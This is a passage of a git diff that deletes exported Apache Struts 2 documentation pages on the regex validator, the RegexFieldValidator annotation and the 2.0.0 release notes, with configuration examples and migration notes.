-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>regex validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="regex-validator.html">regex validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">regex validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14298">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14298">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14298">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14298">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14298">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14298">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="regexvalidator-Description">Description</h1>
-<p>Validates a string field using a regular expression.</p>
-
-<h1 id="regexvalidator-Parameters">Parameters</h1>
-<p></p><ul><li>fieldName - The field name this validator is validating. Required if using Plain-Validator Syntax otherwise not required</li><li>regexp - The RegExp expression</li><li>caseSensitive - Boolean (Optional). Sets whether the expression should be matched against in a case-sensitive way. Default is <code>true</code>.</li><li>trim - Boolean (Optional). Sets whether the expression should be trimmed before matching. Default is <code>true</code>.</li><li>regexExpression - String (Op [...]
-
-<p></p><p>
-You can mix normal params with expression aware params but thus was not tested
-</p>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><p class="title">Warning</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p></p><p>
-Do not use ${regexExpression}, ${caseSensitiveExpression} and ${trimExpression} as an expression as this will turn into infinitive loop!
-</p></div></div>
-
-<h1 id="regexvalidator-Examples">Examples</h1>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;validators&gt;
-    &lt;!-- Plain Validator Syntax --&gt;
-    &lt;validator type=&quot;regex&quot;&gt;
-        &lt;param name=&quot;fieldName&quot;&gt;myStrangePostcode&lt;/param&gt;
-        &lt;param name=&quot;regex&quot;&gt;&lt;![CDATA[([aAbBcCdD][123][eEfFgG][456])]]&gt;&lt;/param&gt;
-    &lt;/validator&gt;
-
-    &lt;!-- Field Validator Syntax --&gt;
-    &lt;field name=&quot;myStrangePostcode&quot;&gt;
-        &lt;field-validator type=&quot;regex&quot;&gt;
-            &lt;param name=&quot;regex&quot;&gt;&lt;![CDATA[([aAbBcCdD][123][eEfFgG][456])]]&gt;&lt;/param&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-
-    &lt;!-- Field Validator Syntax with expressions --&gt;
-    &lt;field name=&quot;myStrangePostcode&quot;&gt;
-        &lt;field-validator type=&quot;regex&quot;&gt;
-            &lt;param name=&quot;regexExpression&quot;&gt;${regexValue}&lt;/param&gt; &lt;!-- will be evaluated as: String getRegexValue() --&gt;
-            &lt;param name=&quot;caseSensitiveExpression&quot;&gt;${caseSensitiveValue}&lt;/param&gt; &lt;!-- will be evaluated as: boolean getCaseSensitiveValue() --&gt;
-            &lt;param name=&quot;trimExpression&quot;&gt;${trimValue}&lt;/param&gt; &lt;!-- will be evaluated as: boolean getTrimValue() --&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-&lt;/validators&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/regexfieldvalidator-annotation.html b/content/docs/regexfieldvalidator-annotation.html
deleted file mode 100644
index 2a74afc..0000000
--- a/content/docs/regexfieldvalidator-annotation.html
+++ /dev/null
@@ -1,168 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>RegexFieldValidator Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="regexfieldvalidator-annotation.html">RegexFieldValidator Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">RegexFieldValidator Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14154">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14154">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14154">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14154">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14154">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14154">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Validates a string field using a regular expression.</p>
-
-<h2 id="RegexFieldValidatorAnnotation-Usage">Usage</h2>
-
-<p></p><p>The annotation must be applied at method level.</p>
-
-<h2 id="RegexFieldValidatorAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">message</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td><td [...]
-
-<h2 id="RegexFieldValidatorAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@RegexFieldValidator( key = &quot;regex.field&quot;, regex = &quot;yourregexp&quot;)
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-200.html b/content/docs/release-notes-200.html
deleted file mode 100644
index e731ddf..0000000
--- a/content/docs/release-notes-200.html
+++ /dev/null
@@ -1,320 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.0</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-200.html">Release Notes 2.0.0</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.0</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13855">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13855">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13855">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13855">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13855">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13855">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><a shape="rect" href="release-plan-200.html">Struts 2.0.0</a> is the first distribution of WebWork 2 as an Apache Struts product.</p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" class="external-link" href="http://cwiki.apache.org/WW/quickstart-using-maven-2.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.0-KnownIssues">Known Issues </h2>
-
-<ul><li>For known issues, see <a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10692">Struts 2.0.1</a></li></ul>
-
-
-<h2 id="ReleaseNotes2.0.0-KeySnippets">Key Snippets</h2>
-
-<p>Maven Artifact ID </p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.0.0&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-
-<p>Struts Configuration XML</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;!DOCTYPE struts PUBLIC
-  "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
-  "http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-&lt;struts&gt;
-    &lt;include file="struts-default.xml"/&gt;
-    &lt;package name="support" extends="struts-default"&gt;
-        &lt;action name="$name" class="$class"&gt;
-            &lt;result&gt;$location&lt;/result&gt;
-        &lt;/action&gt;
-    &lt;/package&gt;
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<p>XWork Validation XML</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;!DOCTYPE validators PUBLIC 
-   "-//OpenSymphony Group//XWork Validator 1.0.2//EN" 
-   "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd"&gt;
-&lt;validators&gt;
-    &lt;field name="$name"&gt;
-        &lt;field-validator type="$type"&gt;
-            &lt;message&gt;$message&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-&lt;/validators&gt;
-</pre>
-</div></div>
-
-<h2 id="ReleaseNotes2.0.0-NewFeaturesandExtensions">New Features and Extensions</h2>
-
-<ul><li><a shape="rect" href="can-we-use-acegi-security-with-the-framework.html">Can we use Acegi Security with the framework</a> extension is available.</li><li><a shape="rect" href="checkbox-interceptor.html">CheckBox Interceptor</a> detects unchecked checkboxes and adds a parameter with a default value (usually 'false') .</li><li><a shape="rect" href="https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=33272">JavaServer Faces</a> extension is available.</li><li>A <code>st [...]
-	<ul><li>In the case of Freemarker and Velocity modules, the templates can also be loaded from the classpath, so the entire module can be plugged in as a single JAR.</li></ul>
-	</li><li><a shape="rect" href="debugging.html">DebuggingInterceptor</a> displays the value stack at runtime.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.0-KeyChanges">Key Changes</h2>
-
-<p>Depending on whether you are coming from a Struts 1 or a WebWork 2 background, your perspective on the key changes will differ. </p>
-
-<h3 id="ReleaseNotes2.0.0-FromStruts1">From Struts 1</h3>
-
-<ul><li>See <a shape="rect" href="comparing-struts-1-and-2.html">Comparing Struts 1 and 2</a></li><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> More notes to come ...</li></ul>
-
-
-<h3 id="ReleaseNotes2.0.0-FromWebWork2">From WebWork 2 </h3>
-
-<ul><li>Struts 2 is dependant on XWork 2 (nightly build).</li><li>Java 1.5 is required to build and deploy Struts 2.
-	<ul><li>For Java 1.4 deployments, RetroWeaver or RetroTranslater may be used to provide Java 1.4 support</li><li>A pre-packaged set of RetroTranslator JARs is being provided with the distribution.</li></ul>
-	</li></ul>
-
-
-<p>For other changes from WebWork 2, see the "Members to rename", "New property settings", "New features or feature changes", and "Removed or deprecated".</p>
-
-<h4 id="ReleaseNotes2.0.0-Memberstorename">Members to rename </h4>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>WebWork 2                  </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Struts 2             </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p><code>com.opensymphony.xwork.*</code>  </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> <code>com.opensymphony.xwork2.*</code> </p></td></tr><tr><td colspan="1" rowspan="1" class="c [...]
-
-
-<p>The tag prefix conventions in the example applications have changed. </p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>JSP        </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> s: </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> <em>&lt;s:form ...&gt;</em> </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Freemarker </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> s. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>  [...]
-
-
-<h4 id="ReleaseNotes2.0.0-Newpropertysettings">New property settings </h4>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>struts.enable.DynamicMethodInvocation </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Enable support for the hardwired <code>action!alias</code> syntax (Default is <code>TRUE</code>)</p></td></tr></tbody></table></div>
-
-
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>It is recommended that all applications specify the DynamicMethodInvocation setting for now, since the default may change. The recommended approach to action aliasing is to use <a shape="rect" href="action-configuration.html">wildcard aliases</a> instead of the hardw [...]
-
-<h4 id="ReleaseNotes2.0.0-Newfeaturesandfeaturechanges">New features and feature changes</h4>
-
-<ul><li>Various changes to ConfigurationManager
-	<ul><li>ConfigurationManager is no longer a static factory. It is now an instance created through Dispatcher. Custom configuration could be done through DispatcherListener.</li><li>Custom configuration to ConfigurationManager and Configuration cannot be done statically anymore, instead use Dispatcher's DispatcherListener to achieve the same effect.</li></ul>
-	</li><li>The <code>prepare</code> interceptor now uses reflection to call prepare_Method_ where <em>method</em> is the action method configured for the particular action in <code>struts.xml</code>.
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   &lt;action name="myAction" method="insert" ....&gt;
-     .....
-   &lt;/action&gt;
-
-   // with the above configuration, and PrepareInterceptor in play, 
-   // callsequence will be 
-   1] prepareInsert() (If it exists)
-   2] prepare() (Unless Interceptor's alwaysInvokePrepare parameter is set to false)
-   3] insert()
-</pre>
-</div></div></li><li>DefaultWorkflowInterceptor (named <code>workflow</code> in <code>struts-default.xml</code>) now uses reflection to call <code>validateMethod</code> on the action class that implements Validateable interface where <code>method</code> is the action method configured for the particular action in <code>struts.xml</code>.
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="myAction" method="insert" ...&gt;
-       ...
-    &lt;/action&gt;
-
-    // with the above configuration, and DefaultWorkflowInterceptor in play, 
-    // call sequence for action that implements Validateable interface will be 
-    1] validateInsert()
-    2] validate() (unless Interceptor's alwaysInvokeValidate parameter is set to false)
-    3] insert()
-</pre>
-</div></div></li><li>Datepicker tag is now using dojo's (limited in terms functionality and internationalization)</li><li><a shape="rect" href="https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=33348">Tiles integration</a> extension is available.</li><li><a shape="rect" href="action-configuration.html">Wildcards</a> can be specified in action mappings.</li><li><a shape="rect" href="message-store-interceptor.html">MessageStoreInterceptor</a> is introduced to allow field err [...]
-
-
-
-<h4 id="ReleaseNotes2.0.0-Removedordeprecated">Removed or deprecated</h4>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>AroundInterceptor</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> The AroundInterceptor has been removed. If your application extends the AroundInterceptor, either import the class into your source code form WebWork 2 (pursuant to the Open Symphony License) and modify it to server as your own base class, or rewrite your interceptor. </p></td></tr><tr><th cols [...]
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;"> &lt;s:textarea theme="ajax" /&gt; </pre>
-</div></div>
-<p></p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <code>doActionMethod</code> </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> The convention of trying a "do" form of an action method is not supported. </p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-  &lt;action name="..." method="submit"&gt;
-    ...
-  &lt;/action&gt;
-</pre>
-</div></div>
-<p>In WebWork,</p>
-<ul><li>try to execute <code>submit</code> method in the action, <em>fail</em></li><li>try to execute <code>doSubmit</code> method in the action if Step 1, <em>fail</em></li><li><em>fail</em><br clear="none">
-In Struts,</li><li>try to execute <code>submit</code> method in the action, <em>fail</em></li><li><em>fail</em></li></ul>
-</td></tr><tr><td></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <code>default method</code> </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Calling the "default" method via "doDefault" is not supported.  </p></td></tr></tbody></table></div>
-
-
